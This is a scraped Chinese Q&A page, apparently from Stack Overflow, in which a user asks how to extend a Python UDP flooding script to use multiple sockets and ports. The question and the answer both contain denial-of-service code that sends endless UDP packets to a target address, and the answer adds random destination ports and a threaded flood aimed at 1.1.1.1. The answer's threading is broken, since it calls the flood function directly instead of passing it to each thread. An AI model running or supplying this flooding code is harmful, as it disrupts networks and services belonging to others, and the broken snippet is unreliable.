【问题标题】:I want to create multiple UDP sockets我想创建多个 UDP 套接字
【发布时间】:2021-12-28 06:26:17
【问题描述】:
import socket
import time


ADDRESS = ("192.168.0.100",4119)

DATA = bytes.fromhex("AA AA AA AA")

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
s.connect(ADDRESS)

for i in range(0,99999999):
    s.send(DATA)

s.close()

上面的代码是一个简单的 UDP Flooding Python 代码。攻击开始时只创建一个套接字,因此只创建一个端口。我想修改我的代码以创建多个套接字并通过各种端口发送数据包。我需要在哪里修复它?

(请勿将此代码用于不良目的。)

【问题讨论】:

  • 你了解 Python 编程语言吗?我问是因为这个问题的答案似乎相当明显
  • 除了为每次发送创建一个新的套接字外,对于 Python 的基本知识是显而易见的(只需将其放在循环中),一切都可以用一个套接字完成:只是不要连接套接字并使用sendto 而不是 send
  • 这是我的错。请从答案中排除将其放入 for 语句的方法。很抱歉没有提前告诉你。不能用双 for 语句来做吗?
  • 如果 putting 某些 in the for 语句 被排除,它确实不能使用双 for 语句,因为这是一个 for 语句 在 for 语句中

标签: python sockets udp ddos


【解决方案1】:
import random
import socket
import threading


def flood(ip, port, size):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    if port == 0:
        while 1:
            s.sendto(random.randbytes(100), (ip, random.randint(1, 65535)))
    else:
        while 1:
            s.sendto(random.randbytes(size), (ip, port))


# 10 Threads
def main():
    Threads = [threading.Thread(target=flood("1.1.1.1", 80, 100)) for x in range(10)]
    for thread in Threads:
        thread.start()
    for thread in Threads:
        thread.join()


if __name__ == "__main__":
    main()

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2017-05-07
    • 1970-01-01
    • 1970-01-01
    • 2011-07-25
    • 1970-01-01
    • 2018-02-04
    • 2014-10-28
    相关资源
    最近更新 更多